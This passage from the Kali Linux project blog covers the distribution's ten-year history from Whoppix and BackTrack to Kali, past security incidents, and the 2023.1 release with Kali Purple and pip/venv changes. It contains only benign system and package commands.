You should now be on Kali Linux 2023.2 We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2023.2"
VERSION_ID="2023.2"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1kali1 (2023-05-12)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.1.0-kali9-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We will never be able to fix what we do not know is broken! And social networks are not Bug Trackers!

Want to keep in up-to-date easier? We have a RSS feeds and newsletter of our blog!

Happy 10th anniversary & Kali's story ...so far

Wed, 29 Mar 2023 00:00:00 +0000

Wednesday 13th, March 2013, 10 years ago, Kali Linux v1.0 was first released. Today we want to celebrate Kali’s 10th anniversary!

Time has flown. And gosh, a lot has changed since then! They grow up so fast!

This is the story of how Kali came to be, and some of the challenges along the way.

Yesterday is History: The Past

How did we get to where we are today? There is a quick answer, and a not so quick answer.

Quick history lesson

It all began in 2004, with Whoppix, a security operating system based on Knoppix. This lead into WHAX in 2005, which used Slax. In 2006, BackTrack Linux happened which was based initially on Slax, then moved to Ubuntu. Every one of these OSes and its changes were done to solve different problems. Using everything which was learnt, Kali Linux was born. A fresh start in March 2013.

Longer history lesson

Knoppix - Initial two weeks work

Whoppix (White-Hat and knOPPIX) came about as the founder, @Muts, was doing an in-person air-gap network penetration test lasting for two weeks in 2004. It was a government contract, and he was not allowed to bring in his own laptop nor allowed to install any software on their machines. So every day, he was only allowed to take in software on a CD-ROM, before it was destroyed at the end of each day. At the time, Live CDs were the “in thing”. They would allow you to run a Linux OS completely off a disk, using RAM as a temporary HDD, without leaving a trace behind. Knoppix was chosen as the base OS which is Debian-based. He created one for this assessment and pre-loaded it with various tools that he believed he would need for the job. Each night, he would go back, tweak it by adding more tools or bug fixes. After the assessment was over, he cleaned it up and shared it online on a forum in August 2004. He then left for a vacation. Upon getting back he checked the logs to see the download numbers, and could not believe that it was so popular! He started to get requests from people, asking for tools to included as well as bug reports.

Slax - Starting to take it seriously

What had started off as a “quick small thing” for single assessment, had started to gain traction. With Whoppix growing in popularity, it was becoming harder to develop for. At the time, Slax had a more mature toolchain for generating Live-CDs and working with OverlayFS. Thus it was a better suited option. Editors note: We cannot say for certain, but the image file size may have become an issue. With more tools wanting to be added, space was running out. This was at a time when CD-R were at their peak, giving you 650-700 MB and USB media was not yet on the scene. By switching to Slax, the base OS size dropped, and allowed for more custom packages to be included as well as tighter compression (LZMA). Overall, this gave a lot more space to grow.

Merging into BackTrack

At the same time, there was a similar project happening over at remote-exploit, Auditor Security Collection (based on Knoppix), which first started in 2005. Auditor and WHAX had similar goals, but different strengths. At the time, cooperation on “Open-Source projects” was very different to what it is today, as it was “I made this thing, I’m sharing it.” It was more a few large players contributed, rather being able to accept work from lots of smaller submissions. After a bit of discussion between the authors, it made sense rather than both projects tackling the same problems, for the projects to merge together. This created BackTrack in May 2006. Initially, it was still based on Slax, but moved to Ubuntu later on. Editors note: We cannot say for certain, where the name “BackTrack” originated from. At the time, when internally debugging problems, the phrase “Back tracking through the logs” got said frequency. We cannot say which came first, the phrase or the name.

OffSec’s Start

Walking around Black Hat USA 06, the team noticed how many people were using their project, and offering training using it. After listening to a few sales pitches, and training offerings, the team noticed just how many people were getting it wrong. As a result, OffSec (previously known as Offensive Security), was created. Training from the people who made the tools. Who else would know it better?!

USB - Live-Boot & Persistent

BackTrack now had a stable, mature Live-CD project and it was exactly what was needed for the problem which was air-gap networks at the time. Whilst these Live-CDs were the answer for some scenarios, the team wanted to expand into more areas. The cost of USB flash drives/sticks had came down dramatically, as a result were more freely available. There was then a shift to “Live-Boot” (either CDs or USBs). The next item to solve would be getting their data to be “persistent” rather than losing it when powered off. Enter BackTrack 3 in June 2008.

Login sound

System Updates

A few months later, the team was once again at Black Hat USA & DEF CON, and were really excited by how many people were using their creation, and got to see first hand how people were using it. DEF CON was also aware, as they were tracking user’s user-agents in web requests! Times were different to how it is now. It was common for big exploits to make an appearance around these security conferences. 2008 was no exception. Walking about, the team could see first hand how many people were vulnerable, and they were helpless as they had no way of pushing out a patch. A drawback with Live-Boot is that in order to update to the latest release, you need to replace the whole OS. A complete re-install. Even with persistence for USBs, it is more for user data, rather than packages. Even if you installed BackTrack, there was not an update mechanism as the infrastructure was not in place to support it. You could not get the latest version. You would have to do a complete re-install. The team knew what their next problem was to solve: system updates.

As the project needs changed, the team had started hitting technical limitations of using Slax as the base, and started to look for an alternative underlying OS. They needed a way for end-users to easily update their system, without doing a complete re-install. Ubuntu was making a lot of positive noise, was gaining a lot of traction as it was popular with end-users, and had good development tools. It allowed for package updates to easily be applied to people systems. In February 2009, at Shmoocon, BackTrack 4 “Beta” was released using Ubuntu.

This change signals the start of BackTrack becoming a “real OS” - a traditional fully feature distribution. Previously when there was a major change, there would be a new name for the project. However, because BackTrack was getting to be known, it had grown legs, started appearing in the media, it was becoming ingrained in pop culture, they wanted to keep the momentum going.

Installer

In various releases prior, there was an installer included, which got carried over from the underlying base OS (Slax). However, it was not straight forward to use, and it was expected that certain commands were ran prior to execution. This, plus not allowing for any customization meant it was dropped in later releases.

With computer hardware getting more powerful each year, using virtual machine became more accessible. Users then started to want to be able to install BackTrack. The community started to contribute guides on how to manually install BackTrack, as well as creating an official tutorial via the terminal. The goal was now clear, BackTrack needed an “easy” installer. A graphical one happened in BackTrack 4 “Pre-Final” in June 2009.

Domain

The team knew how much BackTrack was growing in popularity, and as they did not switch the project name when using Ubuntu, it was time to create its own place on the Internet. With the launch the first stable release of BackTrack 4 in January 2010, the project got its own domain (backtrack-linux.org) and moved off remote-exploit.

System Upgrades

When the team started work switching from Slax to Ubuntu, they grabbed the latest release at the time (8.10 - Intrepid Ibex). As this was not a “Long-Term Support” (LTS) release, upstream would only support it until April 2010 - one year & six months. This means, towards the end of this version, updates became fewer, packaging became harder, and workload increased. Things were not as stable as when it was first released.

It was not until May 2011 that the next major version of BackTrack got released, which also happens to be the last, BackTrack 5. This time, it was based on Ubuntu 10.04 (Lucid Lynx) LTS. This gave three years of support from upstream.

Upgrading from BackTrack 4 to BackTrack 5 meant doing a complete re-install (two other Ubuntu in-between, 9.xx!). Even though there was a packaging update system in-place, there was not an upgrade path. This was still the same behavior as when using Slax. Same mentality as Live-boot: replace the OS for each release, not upgrade. It did not make for a good end-user experience. All their data, any custom programs they installed, all the customizations to their machines, would be lost when switching to the latest version. As a result, it meant that people were reluctant to upgrade, as it would be a lengthy process for them. The team had their new challenge to try and overcome.

Final Fresh Start

For the next few years, the team was busy working away, doing what they do best. However, they started to run into various problems again. As these problems started to accumulate, it was clear that a re-build was required once again, for the final time. As so much had changed, the project would not get away with not swapping names. They needed to drive home just how much change there was. BackTrack Linux became Kali Linux in March 2013.

You can read more of technical limitations here, as well as why the name, Kali.

Kali 1.0 (Moto) first saw the light of day at Black Hat Europe 2013 and was based on Debian 7. With the new infrastructure in place, building and publishing images became more automated and simplified. As a result, there were multiple revisions made to address bug fixes and even a minor update. This gave a better experience for users, as they were not having to wait months for an updated image.

The team then waited for Debian 8 to be released, before pushing out Kali 2.0 (Sana) in August 2015 (at Black Hat USA 15 & DEF CON 23). This time, for the first time, people could upgrade their systems between major project updates! It did require a very minor alteration for the end-user to be able to do this (updating apt’s source to use the new codename).

Moving to Rolling

Overall, the feedback received for Kali 2.0 was positive, and it was a success. One of the reasons it was so well received was because of the updated versions of most packages. In information security (infosec) there is the need to be on the latest version. This is often because:

Being a developer, you may need the latest feature which has just been added.
Being a system administrator, a patch could contain a security update to stop a vulnerability.

Writing exploits or developing infosec tools is no exception, they often need to have access to the latest libraries. Debian is stable, and that is because they only update their stable release about every two years, in order for packages to then be the latest tested version. They will manually “backport” updates to patch any security vulnerabilities for older versions in order to fix that version of the package

As two years is a very long time in infosec to wait to get an update, users were following bad practices in order to attempt to get the latest version. At times, they would break their setup in the process. The team had their new challenge to try and overcome!

To help understand why, it may take up to two years to get a package updated in stable. However, that does not mean its not ready before then as there is a whole workflow behind it. There is a branch called “testing”, which is for packages that are ready to into stable, but only when the time is ready for every package. A package will start in “unstable”, and once it passes Debian’s strict package testing process will it make it into testing. There are numerous packages upgrades in testing that never make it into stable, which would be in a stable state to release. This felt like a good balance of being stable and up-to-date for Kali team.

As soon as Kali 2.0 was out of the door, the Kali team knew what they had to do. Move from “Debian stable” to “Debian testing”. 5 months later, January 2016 Kali become a rolling distribution with Kali 2016.1.

From this point forwards, the Kali team would take a “snapshot” of the network repository, test and then release that. This is because updates are continuously happening from “Debian testing”.

Snapshots are now taken about once a quarter, giving four major releases a year, rather than doing it a few months after Debian’s stable release once every two years.

Believe it or not, there is even more to the story where can go into more detail. If this is something you would like, let us know!

Dragon Logo

Throughout the projects, one item has been constant. The logo. The dragon. To the point that the logo is potentially better known than the project itself!

What originally started out to be a competition, originating on the Whoppix forum, the idea was “best graphic will be the next wallpaper”. The first submission that was awarded the winner, was the dragon. We liked it so much, we never re-opened the competition for the next version!

What we did not know at the time, was that the submission was plagiarized. It was taken from deviantart without the authors permission. We tracked down the rightful author and bought out the rights to it for Kali Linux.

The design of the dragon has been slightly tweaked over the years, by altering here and there such as making it thinner in places (put on a diet!), curving the tail a little more etc. But we have always been careful to protect the iconic image as it is one of the most recognizable logos in this space. And to answer the question, we have no plans to ever replace the dragon logo.

Left, Old. Right, New

BackTrack 6?

Rather than releasing BackTrack 6, Kali 1.0 (Moto) came out instead. But why? With BackTrack 3 -> 4 (Slax to Ubuntu), why not with BackTrack 5 -> 6 (Ubuntu -> Debian)? Why was there such a fresh start and not keep the momentum going?

Well, a few new problems had started to arise, some technical, others not, and the team knew that one day they would need to find for solutions, such as:

Upstream origin

Ubuntu worked well for a number of years, however the team were increasingly finding that they were running into technical issues, causing limitations. At the time, if someone found an issue with a package on BackTrack, if it was not something custom to BackTrack, it would need to go “upstream” to Ubuntu. As Ubuntu uses Debian as its base, if they have not forked the package, it would need to then go to Debian to solve it. Then when a patch is created, it would need to be pushed into Debian, to be pulled into Ubuntu, to be pulled into BackTrack. This was a lengthy procedure. Otherwise, the team would have to fork a package, thus taking on ownership and responsibility of maintenance, to include a patch. With more packages requiring forks, more time was spent maintaining the OS rather than security focused aspects, which took the fun out of the team as it became more of a nightmare. The decision was made to cut out the middle layer, to use Debian as the base, rather than Ubuntu.

Upstream direction

By also using another OS as your base, you often follow their direction for their project. You can alter, but it does add additional complexity when synchronizing (think git rebase). This takes time and focus away from what makes BackTrack, BackTrack! Ubuntu had announced a major desktop environment change. Going from GNOME as their default to something they had created, Unity (and Mir). At the time, it had caused a bit of controversy. We also knew that certain tools would not be compatible. Editors note: Whoppix & Whax both used KDE as the default Desktop Environment, and we switched to GNOME when using Ubuntu.

We also did not know just how difficult it ended up being to fully customise Ubuntu. At the time the Ubuntu developers had put various restrictions in place to stop things which we needed to-do. We believe this was because they were trying to make a OS that was user-friendly for people first starting out, rather than for people who were experience with Linux, who would be trying to-do a penetration test.

Stability

If we were going to be using Debian, it is best to follow their rules. Therefore we needed to follow “the correct Debian standard for packaging”. This meant we had to abide by Linux’s Filesystem Hierarchy Standard (FHS). This was introduced right back in the start with Whoppix so people had gotten used to /pentest directory, and liked it. However, it was a reason why the project had stability issues, thus users may have issues upgrading. It was not the best way to manage or maintain packages. The upside is, programs got added to $PATH, allowing you to call a program from any location!

The lack of FHS was hurting us in many different ways. Because of packages not being in the expected Linux location, we had to manually create links for libraries. This was of course a dependency nightmare. As you then expected, it was painful to update packages due to the amount of work, thus tools became outdated.

This was also a reason why you should not have added BackTrack’s network repository to another OS! Plus if you started to try an install things outside of BackTrack’s network repository, it was only too easy to have a knock on effect breaking something else. It was not right to be so worry to perform an update, as simple updates may break installs.

Package maintenance

Because of Debian’s standards, for end users, it helped to make packages more stable as well has having defined path for updates and upgrades. For us developers, maintaining a package also became easier. As a result, we can:

Look at a package’s metadata, so we know where the code upstream is (where it lives)
Have alerts when there has been an updated release out upstream
Use tools that are design to download and updated code
Import the update code
Update any necessary metadata, keeping it up-to-date and relevant
And include the original archive (in another git branch)

So all we have to do is build the package locally, test it to make sure it works. Then sign off on it, by adding our digital signatures to the packages (so it came from us and not tampered/altered by any malicious party), before uploading the package source to the build bots, which will re-compile it for every supported architecture. Simple!

This mature workflow helps prevent all the odd weird edge cases that were causing users machines to break by doing simple updates. This helps make the system more robust.

Customization

The above talks about packages, but another item to call out is the images. We could then be used to bootstrap builds, allowing for custom images to be generated, such as giving the flexibility for switching between desktop environments creation (GNOME? KDE? Xfce? Something else? Go for it!). Plus, it would support pre-seed answer files during setup, allowing to do unattended fully automate installs. This is more of a correct way of doing things, rather than a hacky job e.g. generate the files, rather than relying on post-install scripts to modify afterwards.

ARM - multi architecture

Since BackTrack 4, the option was there for ARM support. We then experimented and released ARM support with BackTrack 5. At this point, we knew this was something we wanted to explore more going forwards. At the time, there was a lot of manual work involved, creating chroots for each device (started with Motorola Xoom). With BackTrack, we were forced to build the image, on the device itself, which does not scale well at wanting to support more device. Debian would not only allow for us to do that, but streamlined the process. At this point, we were able to treat ARM as a first-class citizen going forwards. This has been accelerated with Ampere’s infrastructure support.

Infrastructure

With BackTrack, we were using subversion for our control system. We were starting to get requests for governments, as they wanted to use our OS internally. However, there was were sticking points. We needed to digitally sign our packages, and they needed to be able to compile the OS themselves internally. As we were scrapping it all and starting from scratch when starting with Kali, we moved to Git and used GPG to tag releases, at the same time, published all our build-scripts allowing anyone to build Kali on any platform. This made Kali truly open-source.

At the same time as the switch, we did some big internal changes. We originally set up our own public git server, but since then we have out grew it now migrated to GitLab and taken it to the next level. The team was growing, and we needed to start to scale, rather than having a few bottlenecks points. Another upside of this was to allow people to get source code of packages .

The team had really never used Ubuntu before, as a result, took multiple attempts to get a functioning eco-system (may not stretch as far as saying working systems!). This time, we did not want to make this mistake again, so we consulted the guy who literally wrote the Debian handbook to get his advice and guidance to understand Debian’s way of doing things correctly from day 1.

We also setup dedicated build boxes, on various different architecture (as we wanted to support ARM). This allowed us for “CI/CD” for packages being built automatically, as well as nightly testing of images and system upgrades. We also setup unit testing for packages, allowing for testing to happen when importing from Debian.

Setup

We knew how important it was to have a functioning setup process, and it needs to be able to cover a lot of different scenarios. With the switch to Debian, we were able to add:

Full language support - Kali is not limited to English!
Accessibility support - We were contacted by multiple blind penetration testers
Straight to setup - We could now install straight from grub without having to boot into a live environment first

Summary

Debian was picked as its one of the largest Linux distributions, community driven (thus open-source), and supports many different architectures & hardware. Rather than using an OS which is forked from Debian, thus adds another layer of complexity of who is “upstream,” it makes sense to go straight to the source. Then following Debian standards & polices had huge advantages for us.

The downside would mean a complete redesign & restructure. And we mean a complete re-do over. Everything from our infrastructure (package & image build bots, network mirror handling etc), the base operating system, our packages. Complete re-write. We stop focusing on BackTrack to focus secretly working away on Kali which took over a year.

Needless to say, it was a LOT of work, but it was completely worth doing it. Both from development team, streamlining so many aspects to giving a greater improvement to user experience.

If you want even more, you can look at at the original blog posts, as well as watch some talks about it:

Kali’s Name

Why is the name “Kali Linux”?

“Kali” was already a part of a team members vocabulary, and when it was put forwards internally, everyone liked it. There are various incorrect claims online of why we picked it (such as it standing for something) but really, we just liked it. Yes, it also means “strong” in Swahili, and is also a Hindu goddess. We. Just. Liked it.

How did you pick the name?

When coming up with the name, we knew we needed something that was cool, catchy, and unique. We did not want to step on any other projects toes in infosec realm, or even IT in general.

One evening at a Black Hat USA, the team was sitting around and trying to come up with a new name. They started coming up with initials of phrases, or merging abbreviations and even looked at coming up with a completely new word. Without any success, one of the team members instinctively went to what they do when naming a new pet; Pantheon names. After making a list of of various Deities from as many mythologies, the team started looking up to see which had not yet been used in the Industry. Whilst there was a few terms the team really like, they were already in use by other projects. After looking up over 70 suggestions, only one really stood out, “Kali”. Kali is a Hindu Goddess of “Destruction and Rebirth”. It could not have been any better fitting; with one project ending, a new one starting. One of the team members ears twitched when they heard it as a suggestion, as they spoke Swahili, where “Kali” means “Strong”. After a little bit more understanding of the word, there is also a martial art also called “Kali”. Its style? All offense, no defense. It felt like it was a sign, everything was pointing to “Kali”. It was the only name which came up strong, and there was not a reason not to use it. The team stopped the hunt for a name.

The word Kali has a lot of meaning to many different people. Everyone is right, as it means something different to everyone. We. Just. Liked it.

Screenshot Tour

They say “a picture is worth a thousand words”, so here is a trip down memory lane that’s worth £59,000:

Whoppix 2.x (#1, #2, #3, #4, #5)
Whax 3.0 (#1, #2, #3, #4, #5, #6)
BackTrack 1 (#1, #2, #3, Wallpaper)
BackTrack 2 (#1, #2, #3)
BackTrack 3 (#1, #2, #3, Wallpaper #1, Wallpaper #2)
BackTrack 4 (#1, #2, #3, #4)
BackTrack 5 (#1, #2, #3)
Kali 1.0.x (#1, #2)
Kali 1.1.x (#1, #2)
Kali 2.x (#1, #2, #3)
Kali 2019.4 (#1, #2, #3, #4)
Kali 2020.2 (#1, #2, #3, #4)
Kali 2020.4 (#1, #2)
Kali 2021.2 (#1, #2)
Kali 2022.1 (#1, #2, #3)
Kali 2023.1 (#1, #2, #3, #4, #5)
Shells (#1)

Today: The Present

And today, we have some presents to share with you! We are celebrating 10 years, with various different items.

Kali 2023.1

First up, was the release of Kali 2023.1. We managed to release exactly on the 10 year anniversary date! We try and not publicly give release dates, as there are many moving parts (outside of our control). This release was no exception, with multiple things breaking daily (Debian installer when trying to build the final RC image, Hugo image altering in our CI pipeline, and fall out from Python 3.11).

With this comes various features and changes, include the initial technical preview launch of “Kali Purple”. Kali has been doing 10 years of offensive (18.5 from Whoppix!), now Kali is starting to help the defensive side. You can read more about it in the release notes of Kali 2023.1, Kali Purple’s documentation, as well as watch the following talk from Adversary Village at RSAC 2023.

Online Puzzle

We also have an online event in the form of a Jeopardy Capture The Flag (CTF) happening over at 10year.kali.org. The puzzles are designed by the same people who where the first to solve the TV show Mr. Robot “Alternate Reality Game” (ARG) - Mr. Robot ARG Society. Enjoy and hope it keeps you busy for a while!

This challenge will only be “online” for two weeks, but we will offer it up afterwards to be able to download and run offline. Check back on 10year.kali.org after closing to get the instructions.

Song

We have once again worked with Uzimon, and now have a Kali tune! Give Going Back to Kali a listen to, and feel free to download, use, and remix. Enjoy!

Audio (mp3), Video (mp4) and Lyrics

Sneakers

Kali is now going sneakernet! No, really! We have Kali on sneakers.

This is a very unique and a collectors item. These are Jordans, with Italian Nubuck and genuine Python (not Python 3.11, but the real thing!). As these are for a limited time, as well as being handmade item, do expect the price tag to match it. Please note: we are not on commission, we are not getting a cut of any sales price. 100% is going to the shoe maker.

~~You can put your pre-order in here~~ No longer taking orders. You can view the mock ups still.

PEN-200/PWK Refresh

From an OffSec side of things, they have had a trick up their sleeve and launched the refreshed PEN-200 (Pentesting With Kali) course. Everything from new material to a new format style of lab machines, but still keeping OSCP certificate.

For more information, please see their blog post, PDF, and FAQs.

AMAs

Not only did we also do what has became our normal post-launch Discord session, we also did a “Ask Me Anything” (AMA), over on Reddit last week. You can read back over people’s questions and the teams answers.

If you missed it and you have any burning questions you would like the team to answer, feel free to stop by for the next Discord session. We are aiming to schedule them the first Tuesday after each Kali release. See you for Kali 2023.2!

Unfortunately, due to time constraints and personal events, we were unable to get our “kali4kids” ready in time. We were hoping to have this year’s special something early, but rather than rushing and reducing the quality, we are delaying it. Trust us, its going to be worth the wait. Its also not an April Fools, its not being released on 1st April - promise!

Tomorrow: The Future

So, where do we see Kali in the next 10 years? Good question! In short: We do not know.

10 years ago we could not have predicted where we are today. And the same goes for now, we cannot predict the next 10 years.

What we can say is, we will continue with what we have already done and be responsive to the industry, pentesting, & market with how it develops over time with the goal of being at the forefront.

We need to be responsive to items which come up. Both from an upstream side of things (Debian), as well as the infosec industry.

With software, code gets updated. A perfect recent example of that is Python. Debian is getting ready to do its next stable release this summer. As a result, there are various stages in the release cycle to make this happen. Package maintainers are trying to make sure they have the latest version in, and as bug free as possible. Python is such a core part of an OS as so many scripts and packages rely on it, it is included in their first freeze. Python 3.11 has been “rushed” to make it into the upcoming stable release, as there are real improved performance. This then has a knock on-effect, as not everything may be compatible, either in Debian or Kali. After the updated Python was accepted, packages then get updated, pushed and tested against. There is a lot, and it does not happen all at once, but rather as each package then gets updated afterwards. As a result, bugs may trickle in as things change. We also like to try and keep as close to Debian as possible, expect for where it makes sense to benefit us and our users. This means we can put more time into doing things that make Kali… Kali!

With technology, trends change. Live-CD were once “the in thing”, then persistent USB was “it”, which moved onto VMs, which gave way to containers, and currently “cloud” is in. Who knows what’s next!

In infosec, trends change as technology changes, software stacks change, attack surface changes, and defenses improve. As a result, we need to be able to adapt. At one stage, Wireless hacking “was the thing”, so we needed to support injection on as many cards as possible. Today, it is more “Command and Control”, “Cloud”, “Living off the Land”, and “Endpoint Detection and Response”. We do not know what tomorrow will bring, but we need to be ready to react to it.

We have built up various internal technical debt, that we need to pay off. Luckily nothing is more than 10 years old!

An item which we are able to talk about, is switching out our mirror redirector to a newer solution. We have had this since the start of Kali, and whilst it does work, it is becoming more feature limiting and unable to integrate with newer stacks.

Refreshing our CI solution we are using for our image building is another item which is long overdue. This will help detect build issues with our images and platforms quicker.

Once we have reduced as much of the debt as we can, we will be in a much stronger position to be able to push forwards, and quicker than if we were to do any future items now. We are aiming then to ride on the development momentum, to build excitement up in the community.

Like Kali Purple, Kali is going defensive. This is a new area for Kali, currently we have only scratched the surface. We want to go deeper and break into more infosec areas as well!

We are looking for ideas and suggestions to please come and get involved with what you would like to see Kali Purple turn into.

Kali is an Open-Source project. Previously we have been doing things behind closed doors, but we have been doing more in the public eye. But we can do more. We want to do even more in the open as possible. We are wanting to feed and help community contributions grow.

…One thing that is certain however, we do not plan on changing the projects name. Kali is here to stay!

Timelines

Over the years there has been some activity in different areas. Below we have pieced together some things which may be of interest to some of you.

Talks

Over the years, the team has given various different talks about the projects. They could be more of a deep dive of a certain platform or feature, but below are ones more of a higher level overview:

2013-07-17: OISF 2013 Martin Bos Kali Linux Backtrack Linux reborn @ Ohio Information Security Forum
2017-12-05: Kali Linux’s Experience of a Derivative Tracking Debian Testing @ Debconf 16

Trailer Videos

Over the years, we have done videos to show off the project. Here is a collection:

2011-05-05: BackTrack 5 - Penetration Testing Distribution
2013-01-19: BackTrack Reborn - Kali Linux Teaser
2015-07-01: Kali 2.0 Teaser - Kali Sana
2017-08-22: Kali 2017.1 - KDE Desktop Fun

Hacked

We know everyone is a target, but also being apart of the industry we paint ourselves as a bigger target. From time-to-time we have made slip ups. Lucky, as far as we know, it never has been anything major, critical or user-facing:

2010-12-25: “Happy Ninja” low privileged shell by compromising another vHost on the same machine via an outdated vBulletin plug-in
- Their eZine: Owned and Exposed #2
2012-04-11 - Invalid 0-day privilage escalation in BackTrack advisory
- Really, it was WICD privilege escalation, BackTrack was already running as root, and it was more of a PR stunt
2013-05-01: OffSec launches Bug Bounty program, covering Kali Linux
2014-04-30: “The GreaT TeAm (TGT)"’s defacement of lists.kali.org (via Heartbleed/CVE-2014-0160)
- Low traffic, rarely used 3rd party hosted public mailing list
2016-03-31: “Team Bad Dream” gained moderation privileges on forums.kali.org (socially engineered), which lead to failed defacement on bugs.kali.org (suspect re-used credentials)
- Also suspect impersonating user on IRC (failed attempt at requesting additional access to new services)
- Limited only to community support portals
2021-12-08: “0x0 keeper” used CVE-2021-43798 Grafana directory traversal (via OffSec’s bug bounty program)
- Used for system monitoring and alerts

April Fools

We like a bit of fun, and have been known to pull pranks over the years:

2010-04-01: Backcrack-ng v1.1
2021-04-01: kali4kids
2022-04-01: Hollywood mode

Kali4Kids

What started out as a poster put out by a government agency that did not give the message they were expecting.

In response, the community started to share how Kali is for the children. With how much it was being used, it was shortened to “Kali For Kids”. So we figured, what would Kali look like IF it was made for kids.

“kali4kids” then became the internal name for next year’s April Fools joke. We have got enough ideas for things we want to try all the way to 2039!

Kali Dojo

The term “Dojo” relates to the martial arts, where you practised it. As there has always been a underlying theme of martial arts, it felt right to use. Kali dojo, was a series of workshops given at mostly conferences. They would be hands on exercises, doing features with the OS that makes Kali, Kali:

2014-08-07: Black Hat USA 2014
2014-09-24: BruCon 2014
2014-09-27: DerbyCon 2014
2015-08-05: Black Hat USA 2015
2015-08-07: DEF CON 23
2016-03-24: IRC
2016-08-04: Black Hat USA 2016
2016-08-31: Ekoparty 12
2017-07-27: Black Hat USA 2017
2017-07-29: DEF CON 25
2018-08-09: Black Hat USA 2018
2018-08-11: DEF CON 26
2018-10-25: Wild West Hackin’ Fest 2018
2018-03-21: InfoSec World 2018

Online videos of 2015 dojos:

2015-02-25: Kali Dojo 02 - Building Custom Kali ISOs using Live Build
2015-02-26: Kali Dojo 03 - Kali Linux USB Persistence & Encryption
2015-03-06: Kali Dojo 04 - Kali on a Raspberry Pi with LUKS Disk Encryption

Kali Linux 2023.1 Release (Kali Purple & Python Changes)

Mon, 13 Mar 2023 00:00:00 +0000

Today we are releasing Kali 2023.1 (and on our 10th anniversary)! It will be ready for immediate download or updating by the time you have finished reading this post.

Given its our 10th anniversary, we are delighted to announce there are a few special things lined up to help celebrate. Stay tuned for a blog post coming out for more information! Edit: Its out!

The changelog summary since the 2022.4 release from December:

Kali Purple - The dawn of a new era. Kali is not only Offense, but starting to be defense
Python Changes - Python 3.11 & PIP changes going forward
2023 Theme - Our once a year theme update! This time, what’s old is new again
Desktop Updates - Xfce 4.18 & KDE Plasma 5.27
Default Kernel Settings - What makes the Kali kernel different
New Tools - As always, various new tools added

Kali Purple

We are leveling the playing field!

Over the years, we have perfected what we have specialized in, offensive security. We are now starting to branch into a new area, defensive security! We are doing an initial technical preview pre-launch of “Kali Purple”. This is still in its infancy and is going to need time to mature. But you can start to see the direction Kali is expanding into. You can also be a part of helping to shape the direction!

What is Kali Purple?

The one stop shop for blue and purple Teams.

Feeling red? Feeling blue? Kali Purple: You do You!

Remember what we did a decade ago with Kali Linux? Or with BackTrack before that? We made offensive security accessible to everyone. No expensive licenses required, no need for commercial grade infrastructure, no writing code or compiling tools to make it all work… Just download Kali Linux and do your thing.

We are excited to start a new journey with the mission to do exactly the same for defensive security: Just download Kali Purple and do your thing.

Kali Purple is starting out as a Proof of Concept, evolving into a framework, then a platform (just like how Kali is today). The goal is to make enterprise grade security accessible to everyone.

What is in Kali Purple?

On a higher level, Kali Purple consists of:

A reference architecture for the ultimate SOC In-A-Box; perfect for:
- Learning
- Practicing SOC analysis and threat hunting
- Security control design and testing
- Blue / Red / Purple teaming exercises
- Kali spy vs. spy competitions ( bare knuckle Blue vs. Red )
- Protection of small to medium size environments
Over 100 defensive tools, such as:
- Arkime - Full packet capture and analysis
- CyberChef - The cyber swiss army knife
- Elastic Security - Security Information and Event Management
- GVM - Vulnerability scanner
- TheHive - Incident response platform
- Malcolm - Network traffic analysis tool suite
- Suricata - Intrusion Detection System
- Zeek - (another) Intrusion Detection System (both have their use-cases!)
- …and of course all the usual Kali tools
Defensive tools documentations
Pre-generated image
Kali Autopilot - an attack script builder / framework for automated attacks
Kali Purple Hub for the community to share:
- Practice pcaps
- Kali Autopilot scripts for blue teaming exercises
Community Wiki
A defensive menu structure according to NIST CSF (National Institute of Standards and Technology Critical Infrastructure Cybersecurity):
- Identify
- Protect
- Detect
- Respond
- Recover
Kali Purple Discord channels for community collaboration and fun
And theme: installer, menu entries & Xfce!

…And this is just the beginning of our journey.

Screenshots

This is what it looks like. Some defensive tools:

Elastic SIEM:

Arkime:

Malcolm:

Installer, menu, and Xfce:

Please head over to the Kali Purple wiki to join the movement.

Python Updates & Changes

Debian is gearing up to do its next stable version (happens roughly every 2 years, and its looking like it could be this summer). As a result, packages are getting updated all over the place. Active package maintainers are upgrading their work to be the latest version, otherwise, its a long wait for the next release! Python is no exception, and Python 3.11 is now in Debian, which comes with more informative error tracebacks and huge speed increase (between 10-60%). The upgrade should not have as big of an impact as say python being removed from $PATH, or even Python 2 -> Python 3 migration. But it has caused us some headaches with supporting older packages.

However, there is something which may catch people off-guard and cause an effect on some users, especially if you have been using Python “incorrectly”. Python’s PIP behavior. This is already in effect with Debian testing, we have recently applied a temporary patch to give our users a little more time. Does either of the following look familiar? Can you spot what is wrong?

┌──(kali㉿kali)-[~]
└─$ pip install --user thisisapythonmodule
┌──(kali㉿kali)-[~]
└─$ sudo pip install anotherpythonmodule

Anything stand out? The two commands above would try and install a Python module, using Python’s package manager pip (Pip Installs Packages). The issue is, they can clash thus break the operating system’s package management ecosystem, apt (Advanced Package Tool)! What should you do differently then? Three options:

Use apt install python3-<package> (easy, simple & recommended)
Use venv (slightly more complicated but still recommended)
Use --break-system-packages (warning warning warning!)

Like we said before, our patch is only temporary. Our current behavior will change (like Debian has already). When Kali 2023.4 is released 4th quarter of this year, we will drop our patch, and Pip will refuse to install packages system-wide. Thus you can do one of the three actions below. We will be reminding you of this with each Kali version building up to the change. We hope you were already using the correct procedure. If you were not, we hope there is enough time for scripts, pipeline and documentation to be updated to one of the supported & recommended ways.

APT

Our personal preferred approach and what we see as being the easiest way, apt. We would want to see if there is already a Debian package of the Python module, and use that (if possible). A quick rule of thumb would be to-do either blind guess the name, or search:

┌──(kali㉿kali)-[~]
└─$ sudo apt install python3-thisisapythonmodule
[...]
┌──(kali㉿kali)-[~]
└─$ apt search python3 anotherpythonmodule
[...]

If you want a Python module packaged up, let us know. If you want a Python module updated, again let us know.

venv

There are times where apt may not work for you, such as if there is not yet a Debian package or what is in our network repository is outdated. Look, we get it. You may need the latest version of a Python library and thus pulling from Pip gives you what you are after. However, there are then repercussions of files getting added/updated/removed which either package manager is not aware of. Things may not break straight away, but they might. An example could be when either package manager has an update of the module, or you try and install a module using the other ecosystem. Enter. venv (Virtual environment). This creates an area which is completely independent. For a quick crash course to help remind you:

